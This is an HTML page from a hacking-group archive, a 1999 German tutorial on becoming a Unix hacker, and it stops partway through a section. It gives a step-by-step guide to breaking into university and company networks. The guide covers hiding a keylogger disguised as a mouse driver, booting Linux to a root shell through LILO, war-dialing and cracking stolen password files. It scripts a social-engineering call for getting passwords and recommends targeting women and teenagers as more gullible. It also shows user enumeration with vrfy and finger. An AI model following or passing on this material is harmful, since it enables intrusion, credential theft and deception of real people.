Update README.md
[oweals/thc-archive.git] / Papers / h2h.htm
1 <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
2 <html>
3 <head>
4    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
5    <meta name="GENERATOR" content="Mozilla/4.51 [en] (X11; I; Linux 2.2.7 i686) [Netscape]">
6    <title>Human to Hacker Version 1.1</title>
7 </head>
8 <body bgcolor="#FFFFFF">
9
10 <center>
11 <h1>
12 <font color="#FF0000">Vom Menschen zum Unix-Hacker</font></h1></center>
13
14 <center>
15 <h4>
16 Author: TICK / THC</h4></center>
17
18 <center>
19 <h4>
20 Last Update: 1999-07-04</h4></center>
21
22 <center>
23 <h4>
24 <a href="mailto:T_I_C_K@gmx.net">Email: T_I_C_K@gmx.net</a></h4></center>
25
26 <center>
27 <h4>
28 <img SRC="pic1.gif" ></h4></center>
29
30 <p><br><a NAME="inhalt"></a>
31 <h2>
32 <font color="#990099">Inhaltsverzeichnis</font></h2>
33
34 <ol>
35 <li>
36 <img SRC="godown.gif" height=10 width=14> <a href="#a0">Vorwort</a></li>
37
38 <li>
39 <img SRC="godown.gif" > <a href="#a1">Voraussetzungen</a></li>
40
41 <li>
42 <img SRC="godown.gif" > <a href="#a2">Wie bekomme ich (illegalen) Zugang
43 zum Internet?</a></li>
44
45 <li>
46 <img SRC="godown.gif" > <a href="#a3">Die Literatur:</a></li>
47
48 <br>Der unangenehme Teil
49 <br>oder:
50 <br>Der Schluessel zum Erfolg
51 <li>
52 <img SRC="godown.gif" > <a href="#a4">Wie komme ich weiter?</a></li>
53
54 <li>
55 <img SRC="godown.gif" > <a href="#a5">Wie rette ich meinen Arsch?</a></li>
56
57 <li>
58 <img SRC="godown.gif" > <a href="#a6">Ein paar Gedanken zum Sein eines
59 Hackers</a></li>
60
61 <li>
62 <img SRC="godown.gif" > <a href="#a7">Yeah, time to become 31337.</a></li>
63
64 <li>
65 <img SRC="godown.gif" height=10 width=14> <a href="#a8">Ein Blick ueber
66 die Schulter</a></li>
67
68 <li>
69 <img SRC="godown.gif" height=10 width=14> <a href="#a9">Persoenliche Sicherheit</a></li>
70
71 <li>
72 <img SRC="godown.gif" height=10 width=14> <a href="#a10">Letzte Worte</a></li>
73
74 <li>
75 <img SRC="godown.gif" height=10 width=14> <a href="#a11">Wichtige Links</a></li>
76
77 <li>
78 <a href="tools.html">Tools</a></li>
79 </ol>
80
81 <h3>
82
83 <hr WIDTH="100%"></h3>
84 <a NAME="a0"></a>
85 <h3>
86 <font color="#993399">Vorwort</font></h3>
87 Auch wenn es fuer einen Anfaenger hart ist, aber ich werde gewisse Dinge
88 wie NIS, Passwordcracker, Packetsniffer, et cetera nicht erklaeren; ich
89 setze sie als bekannt voraus. Wenn du mit diesen Dingen arbeitest, dann
90 wirst du sie verstehen, und in den Buechern/Docs werden sie haeufig auch
91 erklaert.
92 <p>Zeilen, die mit dem Groesser-als Zeichen '>' beginnen sind Eingaben
93 (von dir).
94 <br>Zeilen, die mit dem Kleiner-als Zeichen '&lt;' beginnen, stellen Ausgaben
95 (z.B. von einem Programm) dar.
96 <br>Befehle werden <b>fett</b> gedruckt, Captures <font color="#FF0000">rot</font>
97 und Filenamen <font color="#33FF33">gruen</font> indiziert.
98 <p>Bitte sendet alle Verbesserungen, Erweiterungen, Anregungen und <u>intelligenten</u>
99 Fragen
100 <br>an meine E-mail Adresse.
101 <p>Dieses Paper soll <u>keine</u> Aufforderung zum Hacken sein!
102 <p>For non-german guys:
103 <br>Sorry, but I'm too lazy to translate this text to english.
104 <br>But maybe sometimes I (or someone else) will.
105 <br>&nbsp;
106 <p><a NAME="a1"></a>
107 <h3>
108 <font color="#990099">Voraussetzungen</font></h3>
109 Ja gut, die Voraussetzungen um Hacker zu werden.... also, das Wichtigste
110 ist ein eiserner Wille; du musst Hacker werden wollen, mit jeder Zelle
111 deines Koerpers ;) - aber nicht verkrampfen, denn dann wird der Fluss der
112 Phantasie blockiert ;). Ein IQ >= 100 waer' auch ganz sinnvoll... hm, aja,
113 'n Computer und 'n Modem... sind deine Hauptwerkzeuge. Du solltest in C
114 programmieren koennen, da auf (fast) jedem Unix-System ein C- Compiler
115 installiert ist und der groesste Teil der Sourcecodes in C geschrieben
116 ist. Ich werde im Verlauf dieses Artikels ein Buch vorstellen, das meiner
117 Meinung nach eine sehr gute und umfassende Grundlage fuer's Programmieren
118 in C bietet, falls du schon eine Hochsprache beherrschst und dir einiges
119 zutraust, dann reicht es, ein Buch ueber Unix Systemprog. zu lesen.
120 <br>Desweiteren ist es sinnvoll ein Unix auf deinem Rechner zu installieren,
121 z.B. Linux (fuer Anfaenger wuerde ich SuSE Linux empfehlen, es ist gut
122 dokumentiert und zudem einfach zu installieren) oder FreeBSD (ist im Gegensatz
123 zu Linux ein echtes Unix, da es von den urspruenglichen Quellen abstammt).
124 Es gibt noch weitere Unixes fuer x86er wie BSDI, OpenBSD (sehr sicher und
125 user-unfreundlich... ein echtes Maenner-Betriebssystem *G*), Solaris x86,
126 SCO etc. aber das braucht dich ersteinmal nicht zu interessieren. ;-)
127 <p>Bis du ein erfahrener Hacker bist koennen selbst bei grossem Engagement
128 einige Jahre vergehen.
129 <br>&nbsp;
130 <p><a NAME="a2"></a>
131 <h3>
132 <font color="#990099">Wie bekomme ich (illegalen) Zugang zum Internet?</font></h3>
133 Also mir kommen jetzt mehrere Moeglichkeiten in den Sinn, ich werde mal
134 mit der Methode beginnen, die ich auch verwendet habe - sozusagen die,
135 die ihren Praxistest schon bestanden hat.
136 <p>Such dir eine nette Uni (Internet Provider, Firma mit Internet-Access)
137 in deiner Naehe aus und mache dort ein Praktikum, einen Ferienjob oder
138 einen Nebenjob.
139 <br>Waehrend deiner Taetigkeit immer schoen die Augen nach Rechnern offenhalten,
140 die ans Uni-Netz angeschlossen sind, die von den Studenten genutzt werden
141 und allgemein zugaenglich sind. Haeufig steht irgendwo ein alter DOS- PC
142 rum, oder es existieren PC-Pools. Such dir einen Rechner aus und sieh'
143 dir seinen Aufbau genau an (<font color="#33FF33">autoexec.bat </font>&amp;
144 <font color="#33FF33">config.sys</font>...).
145 Beobachte wie er benutzt wird (laeuft er staendig, wird er nachts ausgeschaltet).
146 Lass dich mal ganz
147 <font color="#000000">plump</font> von 'nem Studenten
148 in die Benutzung des Rechners einweisen. Dann benutze diesen Rechner fuer
149 anonymous <i>FTP</i>,
150 <i>HTTP</i> und den ganzen Kram, der kein Passwort
151 erfordert, und wenn sich die Gelegenheit mal bietet, dann kopiere dir die
152 <font color="#33FF33">autoexec.bat</font><font color="#000000">,</font><font color="#33FF33">config.sys</font>
153 und den Stammverzeichnisbaum (<b>tree</b>) auf 'ne Diskette.
154 <br>Kommen wir jetzt zum spannenden Teil. Es geht darum ein <i>TSR</i>-Programm
155 zu installieren, welches die Tastatureingaben in eine Datei protokolliert
156 . Um dieses <i>TSR</i>-Prog. so gut wie moeglich zu verstecken tarnt man
157 es als ein anderes Prog. und fuegt einen entsprechenden Eintrag in die
158 <font color="#33FF33">autoexec.bat</font>
159 ein. Man kann z.B. den Mouse-Treiber durch einer Batch-Datei ersetzen,
160 die erst unser <i>TSR</i> und dann den Mouse-Treiber aufruft o. ae.. Wenn
161 du fit in ASM-Programmierung bist, dann kannst du das <i>TSR</i> vor
162 <b>mem</b>
163 verstecken (ich glaube, indem man irgendwie 'ne Memorygrenze veraendert
164 - keine Ahnung).
165 <br>Unter Umstaenden muss man das <i>TSR</i> mit einem HEX-Editor seinen
166 Anforderungen anpassen. Du solltest bedenken, dass die Protokolldatei den
167 ganzen Plattenplatz aufzehren koennte, also taeglich die Datei auf Diskette
168 bringen und von der Platte entfernen. Desweiteren muessen die Timestamps
169 angepasst werden - ja, Paranoia ist die Lebensversicherung eines Hackers.
170 <br>So, um die ganze Angelegenheit zu beschleunigen tippe jeweils eine
171 Batch-Datei fuer die Installation des <i>TSR</i>s, fuer das <b>move</b>'n
172 der Protokolldatei und zum Deinstallieren des <i>TSR</i>s und zur Wiederherstellung
173 des Orginalzustandes (Timestamps nicht vergessen). Teste deine Strategie
174 und deine Batch-Dateien auf deinem Rechner, in der Praxis darf es keine
175 Fehler mehr geben, alles muss schnell und reibungslos verlaufen.
176 <p><u>Interpretation der Protokolldatei:</u>
177 <br>Wenn du z.B. folgendes siehst:
178 <br><font color="#FF0000">ftp blah.am.arsch.de</font>
179 <br><font color="#FF0000">franz</font>
180 <br><font color="#FF0000">schwanz</font>
181 <br>... dann existiert auf dem Rechner "blah.am.arsch.de" ein Account mit
182 dem Login "franz" und den Passwort "schwanz" - vorausgesetzt, dass die
183 Eingaben richtig waren :).
184 <br>Wichtig sind fuer dich erstmal die Rechner im Uni-Netz.
185 <p>Wenn du ein paar Accounts gesammlt hast, musst du die Telefonnummer
186 des Modems rausfinden, die dich mit dem Netz der Uni verbindet.
187 <br>Die Nummer bekommst du ganz einfach: Ruf' bei der Uni an, gib dich
188 als Student aus und frag' nach der Nummer - du musst sicher und ruhig sprechen.
189 Haeufig steht die Nummer auch in 'nem Infoblatt vom Rechenzentrum (RZ)
190 oder auf deren Web-Site.
191 <br>Die Bequemlichkeit beim Verwalten und Verwenden von Account Informationen
192 kommt dir beim Einloggen zugute, undzwar ist es (meistens) voellig egal
193 auf welchem Rechner im Uni-Netz du landest, denn viele User verwenden das
194 selbe Passwort auf mehreren Rechnern (auch in anderen Domains) oder es
195 wird <i>NIS</i> (oder <i>NIS</i>+, <i>rdist</i>, <i>DCE</i>, <i>CORBA</i>
196 etc) benutzt
197 <br>So, wenn du in dem System bist, dann mache dich damit vertraut (in
198 Uni-Systemen faellt man nicht so schnell auf).
199 <br>Von der Uni aus, kannst du dann am Besten noch Domains hacken, die
200 in deinem City-Tarif Bereich liegen um deine Telefonkosten zu verringern
201 - auch wenn die gehackte Uni im City-Tarif Bereich ist, denn je mehr Einwahlpunkte
202 du zum Internet hast um so besser.
203 <br>Du kannst deine Telefongebueren auch sparen, indem du 'ne <i>PBX</i>
204 hackst (im 0130/0800/0180*- Bereich oder von lokalen Firmen) oder durch
205 <i>Blueboxing</i>
206 - ist mir persoenlich zu gefaehrlich und zu auffaellig, da die Telekom
207 gerne Phreaker kennen lernen will und <i>PBXs</i> meistens gute Intrusion
208 Detection Systems besitzen. ;)
209 <br>Bei Firmen ist die ganze Angelegenheit etwas gefaehrlicher als bei
210 Universitaeten oder FHs.
211 <p>Desweiteren kannst du natuerlich auch einfach in den Computer-Systemen
212 Trojan-Horses einbringen oder ganz simpel den Leuten ueber die Schulter
213 sehen, wenn sie sich in die Rechner einloggen.
214 <p>Die "Experten" unter euch koennen einen <i>Vampire-Tap</i> oder einen
215 Laptop mit Sniffer in deren Netz einbringen und so einfach die Account-Informationen
216 aufzeichnen.
217 <br>Der Vorteil des <i>Vampire-Taps</i> ist, dass es nicht durch Messgeraete
218 entdeckt werden kann, die die Entfernung bis zum naechsten Ende/Bruch im
219 Netzkabel messen.
220 <p>Unter Windows (3.11) kannst du den Macrorecorder zur Aufzeichnug der
221 Tastatureingaben verwenden... is' aber nicht so toll... mach deine eigenen
222 Erfahrungen, es erfordert auf jeden Fall mehr Aufmerksamkeit von dir. Eine
223 bessere Loesung ist da schon eine veraenderte <font color="#33FF33">WINSOCK.DLL</font>
224 zu installieren, die alle Daten, die uebers Netz gehen aufzeichnet.
225 <p>Natuerlich kannst du auch einen auf DOS, Win9? oder NT basierenden Sniffer
226 verwenden.
227 <p>Falls du schon einen Unix-/NT-Account hast, dann lad' dir einfach die
228 Passwortdatei auf deinen Rechner und cracke die Passwoerter.
229 <p>Oder ein temporaerer Freund mit Internet-Anschluss hilft dir weiter.
230 ;)
231 <p>Wenn du physikalischen Zugriff auf einen Linux Rechner hast, der mit
232 <i>LILO</i>
233 gebootet wird,
234 <br>dann tippe am <i>LILO</i>-Prompt hinter dem Bootlabel fuer Linux "init=/bin/bash
235 rw" ein und der Rechner bootet im Single-User Mode und gibt dir eine root
236 Shell ohne Passwortabfrage. Andernfalls kannst du den Rechner immer noch
237 mit einer Bootdiskette hochfahren.
238 <p>In der nach-Telekom-Monopol und Internet Aera bieten viele Telekomunikations-Firmen
239 Internetzugaenge an, die einfach durch die Angabe der eigenen Bankverbindung
240 o. ae. benutzt werden koennen. Am Besten ihr werft 'nen Blick in den <a href="salpeter.html">Artikel</a>
241 von Salpeter (Kommentare hierzu bitte nicht an mich).
242 <p>Und nun noch ein old-school Weg. Er erfordert weniger den technischen
243 sondern mehr den physischen und mentalen Aufwand.
244 <br>Such' dir ein/e Institut/Firma mit Internetanschluss (in deiner Stadt)
245 aus. Jetzt musst du erstmal jedemenge Infos ueber dein Ziel sammeln, egal
246 wie unwichtig sie erscheinen. Du brauchst z.B. den Namen des Admins und
247 der User, Beziehungen zu anderen Instituten/Firmen. Um diese Dinge in Erfahrung
248 zu bringen kannst du den Muell der Firma durchsuchen (sog. <i>Dumpster
249 Diving</i>) oder dich mal 'n bisschen umhoeren. Jetzt nur noch die Modemnummer
250 herausfinden:
251 <br>Entweder einfach anrufen und als User ausgeben (wenn du den Namen eines
252 Kunden hast, dann benutze ihn auch), der die Nummer vertroedelt hat, ausgeben
253 oder den Telefonnummernbereich deines Ziels durchscannen.
254 <br>Das Scannen geht wie folgt:
255 <br>Du waehlst eine Nummer und horchst ob ein Modem dranhaengt - diese
256 Aufgabe kann auch ein Prog. uebernehmen. Viele Firmen belegen mit ihren
257 Tk-Anlagen (man koennte natuerlich auch die TK-Anlage zu seinem Vorteil
258 manipulieren, aber dieses Thema soll nicht Bestandteil dieses Papers sein
259 und wuerde auch viel zu weit fuehren) einen bestimmten Nummernbereich,
260 z.B. eine 6stellige Nummer wobei die ersten 3 Zahlen statisch sind (z.B.
261 911) und die letzten 3 Zahlen variieren (0 bis 999; wobei 0 meistens die
262 Telefonzentrale, Pforte, etc ist). Nun waehlst du alle Nr. von 911-0 bis
263 911-999 bis du ein Modem gefunden hast; falls du ein Anrufbeantworter entdeckst,
264 dann versuche ihn zu hacken (weitere Infos).
265 <br>Du kannst den Scan-Bereich einschraenken indem du dir die Durchwahlnummer
266 des RZs, DVZs (Datenverarb. Zentrum) - oder wie sonst die Abteilung fuer
267 die Rechnerverwaltung heisst - geben laesst und dann von dort startest
268 (Bsp.: Durchwahl: 345, dann faengst du bei 911-300 an).
269 <br>So jetzt Accounts besorgen.
270 <br>Rufe einen User an - dabei solltest du folgendes beachten:
271 <ol>
272 <li>
273 suche dir am Besten nur Frauen</li>
274
275 <br>oder Jugendliche aus, da diese Personen leichtglaeubiger und techn.
276 weniger versiert sind.
277 <br>(<u>kein</u> Sexismus, reine Erfahrung :) )
278 <li>
279 keine direkten Mitarbeiter der Firma</li>
280
281 <li>
282 abends anrufen (zw. 19.00 und 21.00)</li>
283 </ol>
284 ... so, nehmen wir mal an, dass der Admin der Firma HAQ_ME Mark Abene und
285 der User Kathrin Mitnick heisst und gehen wir davon aus, dass du den Usernamen
286 kennst, dann koennte ein Gespraech folgendermassen ablaufen:
287 <pre>MA:&nbsp;&nbsp;&nbsp;&nbsp; Guten Abend, hier spricht Mark Abene, ich bin der Computer-Administrator
288 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; von HAQ_ME. Koennte ich wohl bitte Kathrin Mitnick sprechen?
289 KM:&nbsp;&nbsp;&nbsp;&nbsp; Ja, am Apparat.
290 MA:&nbsp;&nbsp;&nbsp;&nbsp; Oh gut, undzwar folgendes, wir hatten Gestern auf unserem Internet-Server
291 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; einen Gang-Bang und uns sind einige Daten dabei verloren gegangen, darunter
292 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; auch die Userdaten...
293 KM:&nbsp;&nbsp;&nbsp;&nbsp; Oh Gott, wie schrecklich.
294 MA:&nbsp;&nbsp;&nbsp;&nbsp; ... ja, ja, und ich hab' die Aufgabe die Daten von&nbsp;
295 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unseren Backupbaendern zu restaurieren und die User-Datenbank wieder
296 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; neu einzurichten.
297 KM:&nbsp;&nbsp;&nbsp;&nbsp; Aha...
298 MA:&nbsp;&nbsp;&nbsp;&nbsp; Um meine Aufgabe zu komplettieren und ihnen wieder die einwandfreie
299 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Benutzung ihres Internetzugangs zu gewaehrleisten muesste ich wissen
300 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ob sie ihren alten Usernamen, kathrin, wieder verwenden wollen.
301 KM:&nbsp;&nbsp;&nbsp;&nbsp; Oh ja, natuerlich.
302 MA:&nbsp;&nbsp;&nbsp;&nbsp; Ok,... und wie lautete ihr Passwort?
303 KM:&nbsp;&nbsp;&nbsp;&nbsp; Was!? Mein Passwort, warum haben sie davon keine Sicherungskopien
304 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; angefertigt?
305 MA:&nbsp;&nbsp;&nbsp;&nbsp; Oh, es ist schoen so sicherheitsbewusste User zu haben, aber leider
306 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; selten.
307 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aufgrund unser hohen Sicherheitsansprueche wird von der User-
308 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Datenbank keine Kopie angefertig... stellen sie sich mal vor, dass
309 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; die Backupbaender gestohlen werden.
310 KM:&nbsp;&nbsp;&nbsp;&nbsp; Oh ja, sie haben recht. Also gut mein Passwort war "nirhtak".
311 MA:&nbsp;&nbsp;&nbsp;&nbsp; Ok, ... dankesehr.
312 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aufwiederhoeren.
313 KM:&nbsp;&nbsp;&nbsp;&nbsp; Tschuess.</pre>
314 Viel geredet fuer nur ein einziges Wort, aber es hat sich gelohnt. Du musst
315 jederzeit ernst und ruhig klingen. Dieses Gerede ist sog. <i>Social Engeneering</i>.
316 <br>Sollte es, aus welchen Gruenden auch immer, nicht klappen, dann kannst
317 du auch ein Prog. verwenden, das das Passwort raet. Vielleicht funktionieren
318 auch sog. Default-Accounts (z.B. Login: guest &amp; Password: guest).
319 <br>&nbsp;
320 <p><a NAME="a3"></a>
321 <h3>
322 <font color="#990099">Die Literatur</font></h3>
323 Nachfolgend findest du eine kleine Tabelle mit Buechern, die du lesen solltest.
324 <br>&nbsp;
325 <br>&nbsp;
326 <center><table BORDER COLS=4 WIDTH="100%" NOSAVE >
327 <tr>
328 <td>
329 <center><b>Autor&nbsp;</b></center>
330 </td>
331
332 <td>
333 <center><b>Titel</b></center>
334 </td>
335
336 <td>
337 <center><b>Verlag</b></center>
338 </td>
339
340 <td>
341 <center><b>Kommentar</b></center>
342 </td>
343 </tr>
344
345 <tr>
346 <td>Gerhard Willms</td>
347
348 <td>Das C-Grundlagen Buch</td>
349
350 <td>Data Becker</td>
351
352 <td>Das Fundament der C-Programmierung&nbsp;</td>
353 </tr>
354
355 <tr>
356 <td>Nemeth, Snyder, Seebass, Hein</td>
357
358 <td>Unix Systemadministration&nbsp;
359 <br>Handbook&nbsp;</td>
360
361 <td>Prentice Hall</td>
362
363 <td>Meiner Meinung nach das beste Buch fuer Unix-&nbsp;
364 <br>Systemadministration&nbsp;
365 <br>(eine dt. Auflage ist auch erhaeltlich)&nbsp;</td>
366 </tr>
367
368 <tr>
369 <td>W. Richard Stevens</td>
370
371 <td>Programmierung in der Unix-Umgebung</td>
372
373 <td>Addison-Wesley</td>
374
375 <td>Mal wieder ein perfektes Werk.&nbsp;
376 <br>Stevens schreibt die besten Buecher fuer Unix/Internet&nbsp;
377 <br>Programmierung&nbsp;</td>
378 </tr>
379
380 <tr>
381 <td>W. Richard Stevens</td>
382
383 <td>Programmieren von Unix-Netzen</td>
384
385 <td>Prentice Hall / Hanser</td>
386
387 <td>2te Auflage</td>
388 </tr>
389
390 <tr>
391 <td>W. Richard Stevens</td>
392
393 <td>TCP/IP Illustrated Vol. 1/2/3</td>
394
395 <td>Addison-Wesley</td>
396
397 <td>Infos ueber das TCP/IP Protokol und dessen Implementierung&nbsp;
398 <br>sehr wichtig</td>
399 </tr>
400
401 <tr>
402 <td>Garfinkel und Spafford</td>
403
404 <td>Practical Unix &amp; Internet Security</td>
405
406 <td>O'Reilley</td>
407
408 <td>Das beste Buch in Sachen Unix- &amp; Internet-&nbsp;
409 <br>Sicherheit</td>
410 </tr>
411
412 <tr>
413 <td>Chapman und Zwicky</td>
414
415 <td>Einrichten von Internet-&nbsp;
416 <br>Firewalls</td>
417
418 <td>O'Reilley</td>
419
420 <td>beschreibt den Aufbau von Firewalls&nbsp;
421 <br>leider nicht uptodate aber trotzdem sehr gut</td>
422 </tr>
423
424 <tr>
425 <td>Cheswick und Bellovin</td>
426
427 <td>Firewalls und Sicherheit im Internet</td>
428
429 <td>Addison-Wesley</td>
430
431 <td>Ebenfalls Firewalls-&nbsp;
432 <br>aufbau, aber etwas theoretischer&nbsp;
433 <br>und zeigt uebersichtlich moegliche Schwaechen auf.&nbsp;</td>
434 </tr>
435
436 <tr>
437 <td>Bruce Schneier</td>
438
439 <td>Angewandte Kryptographie</td>
440
441 <td>Addison-Wesley</td>
442
443 <td>Bruce Schneier hat bei dem Buch ganze Arbeit geleistet. Es ist sehr
444 gut zu lesen und enthaelt viele Informationen</td>
445 </tr>
446
447 <tr>
448 <td>Electronic Frontier Foundation</td>
449
450 <td>Cracking DES</td>
451
452 <td>O'Reilley</td>
453
454 <td></td>
455 </tr>
456
457 <tr>
458 <td></td>
459
460 <td>Linux-Kernel-Programmierung</td>
461
462 <td>Addison-Wesley</td>
463
464 <td>Wichtige Infos ueber den Linux-Kernel werden hier leicht erklaert.
465 <br>Ganz nuetzlich, wenn du mal die Linux-Firewall evaluieren willst. ;)</td>
466 </tr>
467 </table></center>
468
469 <p>Na? 'Ne Menge Papier. Aber es lohnt sich wirklich den ganzen Kram zu
470 lesen, glaub mir. Es gibt auch einige wenige gute Docs von Admins und Hackern
471 - sie ersetzen aber nicht ein gutes Buch.
472 <br>Du solltest auch die Security-Papers lesen, die im COAST-Archiv oder
473 bei RootShell liegen... und die USENIX-Veroeffentlichungen nicht zu vergessen.
474 <br>&nbsp;
475 <p><a NAME="a4"></a>
476 <h3>
477 <font color="#990099">Wie komme ich weiter?</font></h3>
478 Du solltest dir einen legalen Internet-Zugang besorgen.
479 <br>Anschliessend schreibst du dich in Unix- &amp; Internet-Security&nbsp;
480 Mailinglisten ein. Hier werden Hinweise auf Bugs in Programmen und Diensten
481 gegeben und zusaetzlich auch noch kleine C-Programme oder Shell/Perl-Skripte
482 mitgeliefert, die diese Bugs ausnutzen.
483 <br>Trotz dieser Bequemlichkeit solltest du die old-school Methoden wie
484 Trojan- Horses, etc nicht vergessen bzw. selbst dein Gehirn benutzen.
485 <br>&nbsp;
486 <center><table BORDER NOSAVE >
487 <tr NOSAVE>
488 <th NOSAVE>Adresse&nbsp;</th>
489
490 <th>Subject&nbsp;</th>
491
492 <th>Body&nbsp;</th>
493 </tr>
494
495 <tr>
496 <td>&nbsp;<a href="mailto:best-of-security-request@suburbia.net">best-of-security-request@suburbia.net</a></td>
497
498 <td></td>
499
500 <td>subscribe best-of-security&nbsp;</td>
501 </tr>
502
503 <tr>
504 <td>&nbsp;<a href="mailto:listserv@netspace.org">listserv@netspace.org</a></td>
505
506 <td></td>
507
508 <td>subscribe bugtraq&nbsp;</td>
509 </tr>
510
511 <tr>
512 <td>&nbsp;<a href="mailto:majordomo@lists.gnac.net">majordomo@lists.gnac.net</a></td>
513
514 <td></td>
515
516 <td>subscribe firewalls&nbsp;</td>
517 </tr>
518
519 <tr>
520 <td>&nbsp;<a href="mailto:fwall-users-request@tis.com">fwall-users-request@tis.com
521 (???)</a></td>
522
523 <td></td>
524
525 <td>subscribe fwall-users&nbsp;</td>
526 </tr>
527
528 <tr>
529 <td>&nbsp;<a href="mailto:majordomo@nsmx.rutgers.edu">majordomo@nsmx.rutgers.edu</a></td>
530
531 <td></td>
532
533 <td>subscribe www-security&nbsp;</td>
534 </tr>
535 </table></center>
536
537 <p>Desweiteren kannst du einige Newsgroups mitlesen aber es ist viel Muell
538 dabei und in den Hacker-Newsgroups ist schonmal garnichts zuholen.
539 <p>Ok, gehen wir mal davon aus, dass du root Rechte hast. Eine Moeglichkeit
540 um weitere Netze zu hacken besteht darin auf dem lokalen System nach Dateien
541 wie <font color="#33FF33">.rhosts</font>, <font color="#33FF33">.netrc</font>
542 und <font color="#33FF33">.forward</font> zu suchen; oder E-Mail nach Passworten
543 (oder anderen interessanten Informationen) zu durchforsten. Um dir die
544 Arbeit ueber 20.000 User zu checken (und beim Gebrauch von <i>NFS</i> noch
545 zusaetzlich die UID zu wechseln) abzunehmen hab ich ein kleines Tool namens
546 Searcher geschrieben.
547 <br>Wenn du von einigen Usern das Passwort gecrackt hast, dann solltest
548 du gucken von welchen Hosts sie sich einloggen, dazu kannst du <b>last</b>,
549 <b>w</b>
550 oder aehnliches benutzen, du koenntest auch die Hosts aufs Korn nehmen
551 in die sie sich einloggen, herausfinfen kannst du das z.B. mit <b>ps
552 </b>(mit
553 w-Option), <b>netstat</b>, oder du verifizierst die Mail-Aliases (<font color="#33FF33">/etc/aliases</font>)
554 bzw. <font color="#33FF33">.forward</font> um zu sehen wohin ein User seine
555 E-Mail umleitet.
556 <br>Jetzt solltest du noch herausfinden welchen Usernamen er auf dem entfernten
557 Host benutzt (in <font color="#33FF33">.forward</font> und in <font color="#33FF33">/etc/aliases</font>
558 muss es angegeben werden; z.B. "remote-user@other-site.com"), dazu kannst
559 du S<i>MTP</i> verwenden... Bsp.: User "victim" auf dem lokalen System
560 (Realnamen: Hackers Victim) hat sich mit <b>telnet</b> auf dem Rechner
561 "host.account.edu" eingeloggt.
562 <pre>> telnet host.account.edu 25
563 &lt; Trying 123.10.0.1...
564 &lt; Connected to host.account.edu.
565 &lt; Escape character is '^]'.
566 &lt; 220-host.account.edu Sendmail 8.6.9/8.6.9 ready at Mon, 21 Jul 1997
567 &lt; 16:19:56 +0200
568 &lt; 220 ESMTP spoken here
569 > vrfy victim
570 &lt; 550 victim... User unknown
571 > vrfy hvictim
572 &lt; 250 Hackers Victim &lt;hvictim@host.account.edu>
573 > quit
574 &lt; 221 host.account.edu closing connection
575 &lt; Connection closed by foreign host.</pre>
576 Der User verwendet also auf beiden Hosts nicht den selben Usernamen, da
577 das Kommando "vrfy victim" von <i>Sendmail</i> (weitverbreitetes E-Mail-Verteilungs
578 Programm, das an Port 25 haengt) mit "550 victim... User unknown" beantwortet
579 wird.
580 <br>Jetzt kannst du einige Kombinationen (z.B. aus den Initialen des Users)
581 ausprobieren... BINGO!... "hvictim" ist der Username, den "victim" auf
582 "host.account.edu" benutzt.
583 <br>Bei vielen Mailservern wurde das <b>vrfy</b> Kommando aus Sicherheitsgruenden
584 abgeschaltet. Jetzt koenntest du nur noch versuchen den Usernamen zu erraten,
585 indem du E-Mails an den Server schickst und die Error-Messages des Servers
586 ueberpruefst, die du fuer nicht vorhandene User zurueck bekommst - dieses
587 Verfahren ist nicht gerade sehr unauffaellig, also auch nicht zu empfehlen.
588 <p>Du kannst auch noch <b>finger</b> (wird aber aus Sicherheitsgruenden
589 haeufig nicht angeboten) oder aber <b>rusers </b>benutzen um alle eingeloggten
590 User auf "host.account.edu" zu erfragen. Mit <b>finger</b> kannst du auch
591 Loginnamen erraten, dafuer schreibst du einfach ein Shell-Script, das aus
592 einem Dictionary bis zu n Woerter einliehst und en bloc an <b>fingerd</b>
593 schickt.
594 <p>Falls du keinen Erfolg haben solltest oder diese Dienste nicht angeboten
595 werden bist du immer noch nicht verloren. Wenn der User gerade eingeloggt
596 ist, dann rufe das Programm <b>netstat</b> (dient unter anderem zum Debuggen
597 von Netzwerkproblemen) auf.
598 <pre>> netstat
599 &lt; Active Internet connections
600 &lt; Proto&nbsp;&nbsp;&nbsp; Recv-Q Send-Q Local Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Foreign Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (State)
601 &lt; User
602 &lt; victim
603 &lt; tcp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; localhost:1032&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; host.account.edu:telnet&nbsp;&nbsp;&nbsp;&nbsp; ESTABLISHED
604 &lt; root
605 &lt; udp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; localhost:3043&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *:*
606 &lt; Active UNIX domain sockets
